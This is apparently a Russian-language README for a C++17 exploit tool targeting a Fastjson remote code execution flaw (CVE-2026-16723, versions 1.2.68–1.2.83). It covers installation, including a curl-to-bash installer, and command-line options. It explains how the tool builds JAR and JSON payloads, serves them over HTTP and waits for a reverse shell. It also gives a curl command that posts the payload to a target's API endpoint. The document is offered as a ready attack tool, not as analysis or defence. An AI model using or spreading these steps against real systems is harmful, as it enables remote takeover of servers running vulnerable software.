
Эксплойт для Fastjson RCE (CVE-2026-16723), нацеленный на версии с 1.2.68 по 1.2.83. Генерирует JAR- и JSON-пейлоады, запускает HTTP-сервер и устанавливает reverse shell.
Автономная реализация на C++17 для CVE-2026-16723 — критической уязвимости, затрагивающей Fastjson версии 1.2.68 – 1.2.83.
Linux (или WSL в Windows)
Компилятор с поддержкой C++17 (GCC 7+ или Clang 5+)
CMake 3.10 или новее
Системные пакеты:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Всё устанавливается одной командой:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
Или загрузите и выполните установщик вручную:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
Скрипт установки:
Установит все необходимые системные пакеты.
Загрузит требуемые библиотеки только с заголовками:
nlohmann/jsoncpp-httplibСоберёт проект.
Поместит скомпилированный бинарный файл в текущий каталог как:
./exploit
Если вы склонировали репозиторий:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Или соберите вручную:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Запустите бинарный файл:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
После выполнения будут созданы следующие файлы:
x
body.json
HTTP-сервер запустится на указанном порту (по умолчанию: 8000), и инструмент будет ожидать входящее reverse shell-подключение.
Отправьте сгенерированный файл body.json на уязвимую конечную точку:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Если приложение ожидает другое JSON-поле, укажите его с помощью опции --field.
| Файл | Описание |
|---|---|
x | Сгенерированная JAR-полезная нагрузка |
body.json | JSON-полезная нагрузка для отправки цели |
jar:http и jar:file.| Параметр | Описание | По умолчанию |
|---|
--lhost | Локальный IP-адрес | Обязательно |
--lport | Порт прослушивания reverse shell | 4444 |
--http-port | Порт HTTP-сервера | 8000 |
--first | Первый файловый дескриптор для проверки | 3 |
--last | Последний файловый дескриптор для проверки | 30 |
--field | Имя JSON-поля | facets |
--outdir | Выходной каталог | . |
-h, --help | Показать справку | — |